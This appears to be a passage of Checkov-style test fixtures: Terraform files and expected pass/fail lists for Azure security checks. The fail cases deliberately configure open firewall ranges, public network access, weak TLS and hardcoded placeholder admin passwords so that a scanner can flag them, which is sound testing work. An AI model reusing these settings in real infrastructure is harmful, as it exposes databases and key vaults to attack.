tests/terraform/graph/checks/resources/AzureAutomationAccConfigManagedIdentity/main.tf ================================================ resource "azurerm_automation_account" "pass" { name = "pud-automatix" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name sku = "Standard" identity { type = "SystemAssigned, UserAssigned" } } resource "azurerm_automation_account" "fail_1" { name = "pud-automatix" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name sku = "Standard" } resource "azurerm_automation_account" "fail_2" { name = "pud-automatix" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name sku = "Standard" identity { type = " " } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureAutomationAccNotOverlyPermissiveNetAccess/expected.yaml ================================================ pass: - "azurerm_automation_account.pass" fail: - "azurerm_automation_account.fail_1" - "azurerm_automation_account.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureAutomationAccNotOverlyPermissiveNetAccess/main.tf ================================================ # PASS case: public_network_access_enabled exists and public_network_access_enabled = "false". resource "azurerm_automation_account" "pass" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku_name = "Basic" public_network_access_enabled = "false" tags = { environment = "development" } } # FAIL case 1: public_network_access_enabled exists BUT public_network_access_enabled = "true". resource "azurerm_automation_account" "fail_1" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku_name = "Basic" public_network_access_enabled = true tags = { environment = "development" } } # FAIL case 2: public_network_access_enabled does NOT exist. resource "azurerm_automation_account" "fail_2" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name sku_name = "Basic" tags = { environment = "development" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureCognitiveServicesCustomerManagedKey/expected.yaml ================================================ pass: - "azurerm_cognitive_account.cognitive_account_good" fail: - "azurerm_cognitive_account.cognitive_account_bad" ================================================ FILE: tests/terraform/graph/checks/resources/AzureCognitiveServicesCustomerManagedKey/main.tf ================================================ data "azurerm_client_config" "current" {} resource "azurerm_resource_group" "example" { name = "example-resources" location = "West US" } #fail resource "azurerm_cognitive_account" "cognitive_account_bad" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "Face" sku_name = "S0" } #pass resource "azurerm_cognitive_account" "cognitive_account_good" { name = "example-account" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name kind = "Face" sku_name = "E0" public_network_access_enabled = false } resource "azurerm_key_vault" "good_vault" { name = "example-vault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name tenant_id = data.azurerm_client_config.current.tenant_id sku_name = "standard" } resource "azurerm_key_vault_key" "good_key" { name = "example-key" key_vault_id = azurerm_key_vault.good_vault.id key_type = "RSA" key_size = 2048 key_opts = ["decrypt", "encrypt", "sign", "unwrapKey", "verify", "wrapKey"] } resource "azurerm_cognitive_account_customer_managed_key" "good_cmk" { cognitive_account_id = azurerm_cognitive_account.cognitive_account_good.id key_vault_key_id = azurerm_key_vault_key.good_key.id } ================================================ FILE: tests/terraform/graph/checks/resources/AzureConfigMSSQLwithAD/expected.yaml ================================================ pass: - "azurerm_mssql_server.pass" fail: - "azurerm_mssql_server.fail_1" - "azurerm_mssql_server.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureConfigMSSQLwithAD/main.tf ================================================ # PASS case: "azuread_administrator.login_username" exists resource "azurerm_mssql_server" "pass" { name = "mssqlserver" resource_group_name = "pud-bcrew-RG" location = "azurerm_resource_group.example.location" version = "12.0" administrator_login = "missadministrator" administrator_login_password = "thisIsKat11" minimum_tls_version = "1.2" azuread_administrator { azuread_authentication_only = true login_username = "pud" object_id = "908-au767-098776" } tags = { environment = "prod-01" } } #FAIL case 1: "azuread_administrator.login_username" doesn't exist resource "azurerm_mssql_server" "fail_1" { name = "mssqlserver" resource_group_name = azurerm_resource_group.dep-rg-j1-1-rlp-77266.name location = azurerm_resource_group.dep-rg-j1-1-rlp-77266.location version = "12.0" administrator_login = "pudadministrator1" administrator_login_password = "thisIspudfortest2" # checkov:skip=CKV_SECRET_6 test secret } # FAIL case 2: "azuread_administrator.login_username" exists resource "azurerm_mssql_server" "fail_2" { name = "mssqlserver" resource_group_name = "pud-bcrew-RG" location = "azurerm_resource_group.example.location" version = "12.0" administrator_login = "missadministrator" administrator_login_password = "thisIsKat11" minimum_tls_version = "1.2" azuread_administrator { azuread_authentication_only = true login_username = " " object_id = "908-au767-098776" } tags = { environment = "prod-01" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureContainerInstanceconfigManagedIdentity/expected.yaml ================================================ pass: - "azurerm_container_group.pass" fail: - "azurerm_container_group.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureContainerInstanceconfigManagedIdentity/main.tf ================================================ # PASS case: "identity" block exists & "identity.type" is not empty resource "azurerm_container_group" "pass" { name = "pud_pass_container" resource_group_name = azurerm_resource_group.pudrg.name location = azurerm_resource_group.pudrg.location ip_address_type = "None" os_type = "Linux" container { name = "dep-containerinstance-3" image = "mcr.microsoft.com/azuredocs/aci-helloworld:latest" cpu = "0.5" memory = "1.5" ports { port = 443 } secure_environment_variables={ minLegth=5 maxLength=10 password=1234567 } } container { name = "dep-containerinstance-4" image = "mcr.microsoft.com/azuredocs/aci-helloworld:latest" cpu = "0.5" memory = "1.5" } identity { type = "SystemAssigned" identity_ids = [ azurerm_user_assigned_identity.dep-uai-j1-2-rlp-74782.id ] } } # FAIL case: "identity" block does not exist resource "azurerm_container_group" "fail" { name = "pud_fail_container" resource_group_name = azurerm_resource_group.pudrg.name location = azurerm_resource_group.pudrg.location ip_address_type = "None" os_type = "Linux" container { name = "dep-containerinstance-3" image = "mcr.microsoft.com/azuredocs/aci-helloworld:latest" cpu = "0.5" memory = "1.5" ports { port = 443 } secure_environment_variables={ minLegth=5 maxLength=10 password=1234567 } } container { name = "dep-containerinstance-4" image = "mcr.microsoft.com/azuredocs/aci-helloworld:latest" cpu = "0.5" memory = "1.5" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureDataFactoriesEncryptedWithCustomerManagedKey/expected.yaml ================================================ pass: - "azurerm_data_factory.data_factory_good" fail: - "azurerm_data_factory.data_factory_bad" ================================================ FILE: tests/terraform/graph/checks/resources/AzureDataFactoriesEncryptedWithCustomerManagedKey/main.tf ================================================ resource "azurerm_data_factory" "data_factory_good" { name = "example" location = "location" resource_group_name = "group" } resource "azurerm_data_factory" "data_factory_bad" { name = "example" location = "location" resource_group_name = "group" } resource "azurerm_data_factory_linked_service_key_vault" "factory_good" { name = "example" resource_group_name = "example" data_factory_name = azurerm_data_factory.data_factory_good.name key_vault_id = "123456" } ================================================ FILE: tests/terraform/graph/checks/resources/AzureKeyVaultConfigPrivateEndpoint/expected.yaml ================================================ pass: - "azurerm_key_vault.pass" fail: - "azurerm_key_vault.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureKeyVaultConfigPrivateEndpoint/main.tf ================================================ # PASS case: Keyvault is connected to private endpoint resource "azurerm_key_vault" "pass" { name = "pass" location = azurerm_resource_group.dep-rg-j1-1-rlp-72704.location resource_group_name = azurerm_resource_group.dep-rg-j1-1-rlp-72704.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } network_acls { bypass = "AzureServices" default_action = "Allow" } } resource "azurerm_private_endpoint" "pud_privendpt" { name = "pud_privendpt" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name subnet_id = azurerm_subnet.dep_pud_subn.id private_service_connection { name = "kv-privateserviceconnection" private_connection_resource_id = azurerm_key_vault.pass.id is_manual_connection = false subresource_names = ["vault"] } } # FAIL case key vault is NOT connected to private endpoint resource "azurerm_key_vault" "fail" { name = "fail" location = azurerm_resource_group.dep-rg-j1-1-rlp-72704.location resource_group_name = azurerm_resource_group.dep-rg-j1-1-rlp-72704.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } network_acls { bypass = "AzureServices" default_action = "Allow" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureMLWorkspaceHBIPublicNetwork/expected.yaml ================================================ pass: - "azurerm_machine_learning_workspace.pass1" - "azurerm_machine_learning_workspace.pass2" fail: - "azurerm_machine_learning_workspace.fail1" - "azurerm_machine_learning_workspace.fail2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureMLWorkspaceHBIPublicNetwork/main.tf ================================================ resource "azurerm_storage_account" "example" { name = "example-storage" resource_group_name = "example-group" location = "West Europe" account_tier = "Standard" account_replication_type = "LRS" public_network_access_enabled = true } resource "azurerm_storage_account" "example-default" { name = "example-storage" resource_group_name = "example-group" location = "West Europe" account_tier = "Standard" account_replication_type = "LRS" } resource "azurerm_storage_account" "pass" { name = "example-storage" resource_group_name = "example-group" location = "West Europe" account_tier = "Standard" account_replication_type = "LRS" public_network_access_enabled = false } resource "azurerm_machine_learning_workspace" "fail1" { name = "example-workspace2" location = "West Europe" resource_group_name = "example-rg" application_insights_id = "id1" key_vault_id = "id2" storage_account_id = azurerm_storage_account.example.id identity { type = "SystemAssigned" } high_business_impact = true } resource "azurerm_machine_learning_workspace" "fail2" { name = "example-workspace2" location = "West Europe" resource_group_name = "example-rg" application_insights_id = "id1" key_vault_id = "id2" storage_account_id = azurerm_storage_account.example-default.id identity { type = "SystemAssigned" } high_business_impact = true } resource "azurerm_machine_learning_workspace" "pass1" { name = "example-workspace2" location = "West Europe" resource_group_name = "example-rg" application_insights_id = "id1" key_vault_id = "id2" storage_account_id = azurerm_storage_account.example.id identity { type = "SystemAssigned" } high_business_impact = false } resource "azurerm_machine_learning_workspace" "pass2" { name = "example-workspace2" location = "West Europe" resource_group_name = "example-rg" application_insights_id = "id1" key_vault_id = "id2" storage_account_id = azurerm_storage_account.pass.id identity { type = "SystemAssigned" } high_business_impact = true } ================================================ FILE: tests/terraform/graph/checks/resources/AzureMLWorkspacePublicNetwork/expected.yaml ================================================ pass: - "azurerm_machine_learning_workspace.pass1" - "azurerm_machine_learning_workspace.pass2" fail: - "azurerm_machine_learning_workspace.failed" ================================================ FILE: tests/terraform/graph/checks/resources/AzureMLWorkspacePublicNetwork/main.tf ================================================ resource "azurerm_machine_learning_workspace" "pass1" { name = "example-workspace" location = "West Europe" resource_group_name = "example-rg" application_insights_id = "id1" key_vault_id = "id2" storage_account_id = "id3" identity { type = "SystemAssigned" } } resource "azurerm_machine_learning_workspace" "pass2" { name = "example-workspace2" location = "West Europe" resource_group_name = "example-rg" application_insights_id = "id1" key_vault_id = "id2" storage_account_id = "id3" identity { type = "SystemAssigned" } public_network_access_enabled=false } resource "azurerm_machine_learning_workspace" "failed" { name = "example-workspace3" location = "West Europe" resource_group_name = "example-rg" application_insights_id = "id1" key_vault_id = "id2" storage_account_id = "id3" identity { type = "SystemAssigned" } public_network_access_enabled = true } ================================================ FILE: tests/terraform/graph/checks/resources/AzureMSSQLServerHasSecurityAlertPolicy/expected.yaml ================================================ pass: - "azurerm_sql_server.sql_server_good_1" - "azurerm_sql_server.sql_server_good_2" fail: - "azurerm_sql_server.sql_server_bad_1" ================================================ FILE: tests/terraform/graph/checks/resources/AzureMSSQLServerHasSecurityAlertPolicy/main.tf ================================================ resource "azurerm_sql_server" "sql_server_good_1" { name = "mysqlserver" resource_group_name = "group" location = "location" version = "12.0" administrator_login = "4dm1n157r470r" administrator_login_password = "4-v3ry-53cr37-p455w0rd" # checkov:skip=CKV_SECRET_6 test secret } resource "azurerm_sql_server" "sql_server_good_2" { name = "mysqlserver" resource_group_name = "group" location = "location" version = "12.0" administrator_login = "4dm1n157r470r" administrator_login_password = "4-v3ry-53cr37-p455w0rd" } resource "azurerm_sql_server" "sql_server_bad_1" { name = "mysqlserver" resource_group_name = "group" location = "location" version = "12.0" administrator_login = "4dm1n157r470r" administrator_login_password = "4-v3ry-53cr37-p455w0rd" } resource "azurerm_mssql_server_security_alert_policy" "alert_policy_good" { resource_group_name = "group" server_name = azurerm_sql_server.sql_server_good_1.name state = "Enabled" retention_days = 20 } resource "azurerm_mssql_server_security_alert_policy" "alert_policy_bad" { resource_group_name = "group" server_name = azurerm_sql_server.sql_server_bad_1.name state = "Disabled" retention_days = 20 } ================================================ FILE: tests/terraform/graph/checks/resources/AzureMSSQLserverConfigPrivEndpt/expected.yaml ================================================ pass: - "azurerm_mssql_server.pass" fail: - "azurerm_mssql_server.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureMSSQLserverConfigPrivEndpt/main.tf ================================================ variable "resource_group_name" { default = "pud_mssql_rg" } variable "location" { default = "East US 2" } variable "subnet_id" { default = "pud-az-subnet" } # case 1: PASS: azurerm_private_endpoint exists and is connected resource "azurerm_mssql_server" "pass" { name = "pass_mssql_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } resource "azurerm_private_endpoint" "pass_priendpt" { name = "pass_priendpt" location = var.location resource_group_name = var.resource_group_name subnet_id = var.subnet_id private_service_connection { name = "dep-privservcon" private_connection_resource_id = azurerm_mssql_server.pass.id subresource_names = ["sqlServer"] is_manual_connection = false } } # case 2: FAIL: azurerm_private_endpoint does not exist resource "azurerm_mssql_server" "fail" { name = "fail_mssql_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } ================================================ FILE: tests/terraform/graph/checks/resources/AzureMariaDBserverConfigPrivEndpt/expected.yaml ================================================ pass: - "azurerm_mariadb_server.pass" fail: - "azurerm_mariadb_server.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureMariaDBserverConfigPrivEndpt/main.tf ================================================ variable "resource_group_name" { default = "pud_maria_rg" } variable "location" { default = "East US 2" } variable "subnet_id" { default = "pud-az-subnet" } # case 1: PASS: azurerm_private_endpoint exists and is connected resource "azurerm_mariadb_server" "pass" { name = "pass_mariadb_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } resource "azurerm_private_endpoint" "pass_priendpt" { name = "pass_priendpt" location = var.location resource_group_name = var.resource_group_name subnet_id = var.subnet_id private_service_connection { name = "dep-privservcon" private_connection_resource_id = azurerm_mariadb_server.pass.id subresource_names = ["mariadbServer"] is_manual_connection = false } } # case 2: FAIL: azurerm_private_endpoint does not exist resource "azurerm_mariadb_server" "fail" { name = "fail_mariadb_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } ================================================ FILE: tests/terraform/graph/checks/resources/AzureMariaDBserverUsingTLS_1_2/expected.yaml ================================================ pass: - "azurerm_mariadb_server.pass_1" - "azurerm_mariadb_server.pass_2" fail: - "azurerm_mariadb_server.fail_1" - "azurerm_mariadb_server.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureMariaDBserverUsingTLS_1_2/main.tf ================================================ resource "azurerm_mariadb_server" "pass_1" { name = "pud-mariadb-server" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name administrator_login = "dbadmin123" administrator_login_password = "M@r!@D3" # checkov:skip=CKV_SECRET_80 test secret ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } # This case passes as ssl_minimal_tls_version_enforced will default to TLS1_2 resource "azurerm_mariadb_server" "pass_2" { name = "pud-mariadb-server" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name administrator_login = "dbadmin123" administrator_login_password = "M@r!@D3" # checkov:skip=CKV_SECRET_80 test secret ssl_enforcement_enabled = true } resource "azurerm_mariadb_server" "fail_1" { name = "pud-mariadb-server" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name administrator_login = "dbadmin123" administrator_login_password = "M@r!@D3" # checkov:skip=CKV_SECRET_80 test secret } resource "azurerm_mariadb_server" "fail_2" { name = "pud-mariadb-server" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name administrator_login = "dbadmin123" administrator_login_password = "M@r!@D3" # checkov:skip=CKV_SECRET_80 test secret ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_1" } ================================================ FILE: tests/terraform/graph/checks/resources/AzureMySQLFlexibleServerConfigPrivEndpt/expected.yaml ================================================ pass: - "azurerm_mysql_flexible_server.pass" fail: - "azurerm_mysql_flexible_server.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureMySQLFlexibleServerConfigPrivEndpt/main.tf ================================================ variable "resource_group_name" { default = "pud_mysql_rg" } variable "location" { default = "East US 2" } variable "subnet_id" { default = "pud-az-subnet" } # case 1: PASS: azurerm_private_endpoint exists and is connected resource "azurerm_mysql_flexible_server" "pass" { name = "pass_mysql_server" location = var.location resource_group_name = var.resource_group_name sku_name = "GP_Gen5_4" version = "11" backup_retention_days = 7 geo_redundant_backup_enabled = true public_network_access_enabled = false } resource "azurerm_private_endpoint" "pass" { name = "pass_priendpt" location = var.location resource_group_name = var.resource_group_name subnet_id = var.subnet_id private_service_connection { name = "dep-privservcon" private_connection_resource_id = azurerm_mysql_flexible_server.pass.id subresource_names = ["foo"] is_manual_connection = false } } # case 2: FAIL: azurerm_private_endpoint does not exist resource "azurerm_mysql_flexible_server" "fail" { name = "fail_mysql_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" sku_name = "GP_Gen5_4" version = "11" backup_retention_days = 7 geo_redundant_backup_enabled = true public_network_access_enabled = false } ================================================ FILE: tests/terraform/graph/checks/resources/AzureMySQLserverConfigPrivEndpt/expected.yaml ================================================ pass: - "azurerm_mysql_server.pass" fail: - "azurerm_mysql_server.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureMySQLserverConfigPrivEndpt/main.tf ================================================ variable "resource_group_name" { default = "pud_mysql_rg" } variable "location" { default = "East US 2" } variable "subnet_id" { default = "pud-az-subnet" } # case 1: PASS: azurerm_private_endpoint exists and is connected resource "azurerm_mysql_server" "pass" { name = "pass_mysql_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } resource "azurerm_private_endpoint" "pass_priendpt" { name = "pass_priendpt" location = var.location resource_group_name = var.resource_group_name subnet_id = var.subnet_id private_service_connection { name = "dep-privservcon" private_connection_resource_id = azurerm_mysql_server.pass.id subresource_names = ["mysqlServer"] is_manual_connection = false } } # case 2: FAIL: azurerm_private_endpoint does not exist resource "azurerm_mysql_server" "fail" { name = "fail_mysql_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } ================================================ FILE: tests/terraform/graph/checks/resources/AzureNetworkInterfacePublicIPAddressId/expected.yaml ================================================ pass: - "azurerm_network_interface.good" fail: - "azurerm_network_interface.bad" ================================================ FILE: tests/terraform/graph/checks/resources/AzureNetworkInterfacePublicIPAddressId/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_virtual_network" "example" { name = "example-network" address_space = ["10.0.0.0/16"] location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name } resource "azurerm_subnet" "example" { name = "internal" resource_group_name = azurerm_resource_group.example.name virtual_network_name = azurerm_virtual_network.example.name address_prefixes = ["10.0.2.0/24"] } resource "azurerm_network_interface" "good" { name = "good-nic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name ip_configuration { name = "internal" subnet_id = azurerm_subnet.example.id private_ip_address_allocation = "Dynamic" } } resource "azurerm_network_interface" "bad" { name = "bad-nic" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name ip_configuration { name = "internal" subnet_id = azurerm_subnet.example.id private_ip_address_allocation = "Dynamic" public_ip_address_id = azurerm_public_ip.bad.id } } resource "azurerm_public_ip" "bad" { name = "bad" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location allocation_method = "Static" tags = { environment = "Production" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzurePostgreSQLFlexServerNotOverlyPermissive/expected.yaml ================================================ pass: - "azurerm_postgresql_flexible_server_firewall_rule.pass" fail: - "azurerm_postgresql_flexible_server_firewall_rule.fail_1" - "azurerm_postgresql_flexible_server_firewall_rule.fail_2" - "azurerm_postgresql_flexible_server_firewall_rule.fail_3" ================================================ FILE: tests/terraform/graph/checks/resources/AzurePostgreSQLFlexServerNotOverlyPermissive/main.tf ================================================ #PASS case: resource "azurerm_postgresql_flexible_server_firewall_rule" "pass" { name = "prx-policy-auto" server_id = azurerm_postgresql_flexible_server.prxpolicyauto.id start_ip_address = "10.0.0.0" end_ip_address = "10.0.0.8" } #FAIL case 1: resource "azurerm_postgresql_flexible_server_firewall_rule" "fail_1" { name = "frwl-1" server_id = azurerm_postgresql_flexible_server.frwl-1.id start_ip_address = "0.0.0.0" end_ip_address = "255.255.255.255" } #FAIL case 2: resource "azurerm_postgresql_flexible_server_firewall_rule" "fail_2" { name = "frwl-2" server_id = azurerm_postgresql_flexible_server.frwl-2.id start_ip_address = "0.0.0.0" end_ip_address = "192.168.10.0" } #FAIL case 3: resource "azurerm_postgresql_flexible_server_firewall_rule" "fail_3" { name = "frwl-3" server_id = azurerm_postgresql_flexible_server.frwl-3.id start_ip_address = "10.0.0.0" end_ip_address = "255.255.255.255" } ================================================ FILE: tests/terraform/graph/checks/resources/AzurePostgreSQLFlexibleServerConfigPrivEndpt/expected.yaml ================================================ pass: - "azurerm_postgresql_flexible_server.pass" fail: - "azurerm_postgresql_flexible_server.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzurePostgreSQLFlexibleServerConfigPrivEndpt/main.tf ================================================ variable "resource_group_name" { default = "pud_pgres_rg" } variable "location" { default = "East US 2" } variable "subnet_id" { default = "pud-az-subnet" } # case 1: PASS: azurerm_private_endpoint exists and is connected resource "azurerm_postgresql_flexible_server" "pass" { name = "pass_pgres_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false } resource "azurerm_private_endpoint" "pass" { name = "pass_priendpt" location = var.location resource_group_name = var.resource_group_name subnet_id = var.subnet_id private_service_connection { name = "dep-privservcon" private_connection_resource_id = azurerm_postgresql_flexible_server.pass.id subresource_names = ["postgresqlServer"] is_manual_connection = false } } # case 2: FAIL: azurerm_private_endpoint does not exist resource "azurerm_postgresql_flexible_server" "fail" { name = "fail_pgres_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false } ================================================ FILE: tests/terraform/graph/checks/resources/AzurePostgreSQLserverConfigPrivEndpt/expected.yaml ================================================ pass: - "azurerm_postgresql_server.pass" fail: - "azurerm_postgresql_server.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzurePostgreSQLserverConfigPrivEndpt/main.tf ================================================ variable "resource_group_name" { default = "pud_pgres_rg" } variable "location" { default = "East US 2" } variable "subnet_id" { default = "pud-az-subnet" } # case 1: PASS: azurerm_private_endpoint exists and is connected resource "azurerm_postgresql_server" "pass" { name = "pass_pgres_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } resource "azurerm_private_endpoint" "pass_priendpt" { name = "pass_priendpt" location = var.location resource_group_name = var.resource_group_name subnet_id = var.subnet_id private_service_connection { name = "dep-privservcon" private_connection_resource_id = azurerm_postgresql_server.pass.id subresource_names = ["postgresqlServer"] is_manual_connection = false } } # case 2: FAIL: azurerm_private_endpoint does not exist resource "azurerm_postgresql_server" "fail" { name = "fail_pgres_server" location = var.location resource_group_name = var.resource_group_name administrator_login = "pud" administrator_login_password = "P@ssw0rd@1" # checkov:skip=CKV_SECRET_80 test secret sku_name = "GP_Gen5_4" version = "11" storage_mb = 5120 backup_retention_days = 7 geo_redundant_backup_enabled = true auto_grow_enabled = false public_network_access_enabled = false ssl_enforcement_enabled = true ssl_minimal_tls_version_enforced = "TLS1_2" } ================================================ FILE: tests/terraform/graph/checks/resources/AzureRecoveryServicesvaultConfigManagedIdentity/expected.yaml ================================================ pass: - "azurerm_recovery_services_vault.pass" fail: - "azurerm_recovery_services_vault.fail_1" - "azurerm_recovery_services_vault.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureRecoveryServicesvaultConfigManagedIdentity/main.tf ================================================ resource "azurerm_recovery_services_vault" "pass" { name = "pud-recovery-vault" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name sku = "Standard" identity { type = "SystemAssigned, UserAssigned" } } resource "azurerm_recovery_services_vault" "fail_1" { name = "pud-recovery-vault" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name sku = "Standard" } resource "azurerm_recovery_services_vault" "fail_2" { name = "pud-recovery-vault" location = azurerm_resource_group.pud_rg.location resource_group_name = azurerm_resource_group.pud_rg.name sku = "Standard" identity { type = " " } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureSQLserverNotOverlyPermissive/expected.yaml ================================================ pass: - "azurerm_sql_firewall_rule.pass_1" - "azurerm_sql_firewall_rule.pass_2" - "azurerm_mssql_firewall_rule.pass_2" fail: - "azurerm_sql_firewall_rule.fail" - "azurerm_mssql_firewall_rule.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureSQLserverNotOverlyPermissive/main.tf ================================================ # PASS case 1: start_ip_address and end_ip_address is NOT equals to 0.0.0.0 resource "azurerm_sql_firewall_rule" "pass_1" { name = "pud_AZ_SQL_FW" resource_group_name = azurerm_resource_group.pud_rg.name server_name = azurerm_sql_server.pud_sql_server.name start_ip_address = "10.0.0.0" end_ip_address = "20.0.0.0" } # PASS case 2: start_ip_address is NOT equals to 0.0.0.0 resource "azurerm_sql_firewall_rule" "pass_2" { name = "pud_AZ_SQL_FW" resource_group_name = azurerm_resource_group.pud_rg.name server_name = azurerm_sql_server.pud_fail_server.name start_ip_address = "10.0.0.0" end_ip_address = "0.0.0.0" } resource "azurerm_mssql_firewall_rule" "pass_2" { name = "pud_AZ_SQL_FW" start_ip_address = "10.0.0.0" end_ip_address = "0.0.0.0" } # FAIL case: start_ip_address and end_ip_address equals to 0.0.0.0 resource "azurerm_sql_firewall_rule" "fail" { name = "pud_AZ_SQL_FW" resource_group_name = azurerm_resource_group.pud_rg.name server_name = azurerm_sql_server.pud_fail_server.name start_ip_address = "0.0.0.0" end_ip_address = "0.0.0.0" } resource "azurerm_mssql_firewall_rule" "fail" { name = "pud_AZ_SQL_FW" start_ip_address = "0.0.0.0" end_ip_address = "0.0.0.0" } ================================================ FILE: tests/terraform/graph/checks/resources/AzureSpringCloudConfigWithVnet/expected.yaml ================================================ pass: - "azurerm_spring_cloud_service.pass" fail: - "azurerm_spring_cloud_service.fail_1" - "azurerm_spring_cloud_service.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureSpringCloudConfigWithVnet/main.tf ================================================ # PASS case: SKU not B0 and "service_runtime_subnet_id" exists resource "azurerm_spring_cloud_service" "pass" { name = var.sc_service_name resource_group_name = var.resource_group_name location = var.location 